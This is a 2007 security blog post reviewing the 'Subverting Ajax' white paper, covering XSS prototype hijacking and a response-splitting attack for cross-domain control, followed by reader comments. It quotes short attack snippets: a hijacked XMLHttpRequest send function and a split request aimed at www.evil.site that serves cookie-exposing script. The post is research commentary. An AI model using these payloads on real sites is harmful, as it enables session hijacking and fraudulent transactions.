Monday, January 08, 2007

Review of the Subverting Ajax white paper

Stefano Di Paola and Giorgio Fedon’s paper and presentation’s meteoric rise to fame was due to its disclosure of the “Universal XSS vulnerability in Adobe’s Acrobat Reader Plugin”. Ironically that was a very small part of the overall content. The content is highly advanced and assumes a lot of webappsec knowledge (XSS, JavaScript, CSRF, Splitting, and Smuggling), definitely not read for beginners. Now, normally I refrain from “publicly reviewing” white papers. I either read or write them, but how could I ignore Thomas Ptacek’s request for a “characteristically excellent post”. Flattery works every time. :) here goes:

Separate from the Universal XSS two main attacks are described, XSS Prototype Hijacking and Auto Injecting Cross Domain Scripting (AICS). Both attacks target websites using Ajax and assume their victim has already been XSS’ed. Or, as I like to put it, infected with JavaScript Malware. The rest of the payload comes after that point and what a bad guy could do. And speaking of Ajax, I’ve already published my view on subject, so here’s what the authors have to say:

“Applications based upon Ajax are affected by the same problems of any other web application, but usually are more complex because of their asynchronous nature.”

Fair enough. Not sure I agree, but it’s not a vital topic for our purposes here. Lets move on.

XSS Prototype Hijacking
To leverage the example from the paper: The victim has been XSS’ed during a visit to a web bank that uses Ajax (XMLHttpRequest) for funds transfer. The JavaScript Malware overwrites the XMLHttpRequest object, which allows the attacker to transparently intercept and modify HTTP request/responses to the website. Sort of like an active sniffer in the browser DOM. The attacker could then initiate fraudulent transfers without the user’s knowledge. Interesting idea.

XMLHttpRequest.prototype.send = function (pay) {

// Hijacked .send
sniff("Hijacked: "+" "+pay);
pay=HijackRequest(pay);
return this.xml.send(pay);
}

Aside from not having seen any web bank using Ajax, the attack still could be plausible for other situations. The question I had is why would an attacker need to do this? Wouldn’t it be simpler to phish them with a login/password DOM overlay (Phishing with Superbait) or something else similar? Then I read this and thought a little differently:

“In this case, the attack is totally independent from any authentication system used such as One Time Passwords or RSA tokens.”


That’s a good point. Sometimes stealing credentials is useless and the attacker might need to modify the request/response data in real-time. It really depends on what they’re trying to achieve and on what site. While the act of overwriting JavaScript objects is not exactly new, my Gmail contact list hack was based on this technique, what these guys did was take it to the next level. This is one more technique that could come in handy down the road.

Auto Injecting Cross Domain Scripting (AICS)
“…an attacker could get total control over a website (which has a XSS vulnerability in it) by simply controlling an inner frame. If a browser is vulnerable to HRS this technique could be applied in a cross domain context every time a user opens a new page or exits from the browser, by injecting a new HRS. So even if a website in not vulnerable to XSS, it could be controlled.”

That’s quite a claim! The attack has two more requirements beyond XSS. The victim must be using a forward proxy and browser vulnerable to HTTP Response Splitting/Smuggling. I don’t know how common this scenario is, but let’s go with it anyway. If you recall Anton Rager’s XSS Proxy and my version based-on off that design, you’ll remember we achieved persistent control over a victim’s browser by using an invisible full-screen iframe. Whenever the victim clicked on the website, it was within the iframe, and we could monitor they’re activity. The limiting factor was if the victim traveled to another domain the thread of control was lost due to the same-origin policy.

Stefano and Giorgio said you could overcome the limitation by priming the browser with a Splitting attack initiated by XMLHttpRequest.

var x = new ActiveXObject("Microsoft.XMLHTTP"); x.open("GET\thttp://www.evil.site/2.html\tHTTP/1.1\r\nHost:\t www.evil.site\r\nProxy-Connection:\tKeep- Alive\r\n\r\nGET","/3.html",false);x.send();


A javascript request forged as in the previous code will send the following requests:

GET http://www.evil.site/2.html HTTP/1.1
Host: www.evil.site
Proxy-Connection:Keep-Alive
GET /3.html HTTP/1.1
Host: www.evil.site
Proxy-Connection:Keep-Alive

If the Splitting attack was successful, the victim’s proxy will see two requests and subsequently send back two responses. The second one being laced with JavaScript Malware from the evil website:

Response 1: http://www.evil.site/2.html:
<* html> <* body> foo <* /body> <* /html>

Response 1_2: http://www.evil.site/3.html:
<* html> <* head> <* meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
<* meta http-equiv="Cache-Control" content="public">
<* meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00 GMT">
<* /head> <* body>
<* script>
alert("DEFACEMENT and XSS: your cookie
is"+document.cookie)
<* /script>
<* /body>
<* /html>

Here’s where the magic happens. From the (vulnerable) browser perspective only 1 request has been sent so the second response is queued up waiting. If the victim were to then visit http://webbank.com/, they be served up the second response and not the page from the real website. Ouch! Going back to the beginning with the XSS Proxy limitation, before the victim clicks to go off-domain, a Splitting request is primed waiting to serve up more JavaScript Malware from the evil website. And like the description said, the next website doesn’t necessarily need to be vulnerable to XSS. Clever!

Honestly I don’t know if this attack works, or how well, though I assume it does if you have the properly vulnerable set of software. I don’t see a reason why it wouldn’t.

Conclusion
Stefano and Giorgio deserve a lot of credit for their discoveries and I hope they keep at it. Personally I find this kind of cutting-edge web attack research fascinating, no matter how (im)-plausible it might end up. The fact is you never know when someone else might see something you don’t. For myself, it’s one of the coolest things when others find ways to improve upon my past work. That’s why I try to release as many little hacks as I can no matter how strange.

At end of the day this paper wont' force us to do anything else on the web server. Find and fix your cross-site scripting vulnerabilities. It does illustrate yet another reason why we need more browser security enhancements.




4 comments:

Sylvan von Stuppe said...

Excellent write up. As for the HRS attack, at that point, you're REALLY looking for individuals at that point. The combination of proxies/HTTP servers that are susceptible to HRS is REALLY slim. In my work, because it's so hard to even say "Well, XYZ forward proxy and your webserver match...", we've stopped referring to it as HRS altogether and just call it header injection, which we actually find to be much more dangerous (or at least effective) on an individual scale.

It is very good to know that there are really sharp people out there researching and publishing their findings, rather than just exploiting them.

And you made one point here that really, really needs to be emphasized - this doesn't change that our developers need to find and fix all the same vulnerabilities - in this case XSS and header injection. In AJAX websites, request fingerprinting doesn't hurt, either (although in the first example, I don't see it as much help, either).

Jeremiah Grossman said...

From Amit Klein:

"I must say that this attack direction isn't quite new. My work on IE (and other people's work on Firefox) demonstrated this same technique, more than one year ago. My paper about this is even referenced in the Di-Paola paper - as [19] Amin Klein,'IE + some popular forward proxy servers = XSS,
defacement (browser cache poisoning)',
http://www.webappsec.org/lists/websecurity/archive/2006-05/msg00140.html


But as you can see even from my paper's title, XSS is already there (Universal XSS, it should probably have written). And from my intro:
In this write-up, I demonstrate how the security issue discussed in [1] can be exploited to force an XSS condition and/or a browser cache poisoning condition in IE 6.0 SP2, provided it is configured to use a forward proxy server

So Di-Paolo et al. didn't really invent this attack - they used mine, and wrapped it with their prototype "framework" (somewhat similar to Rager's XSS proxy, and your IFrame trick)."

Alex said...

When do I have to call XSS UXSS ? Or is it only "limited" to Adobe PDF attacks ?

Jeremiah Grossman said...

Mostly limited to Adobe PDF I would think. No widely accepted convention around that I know of.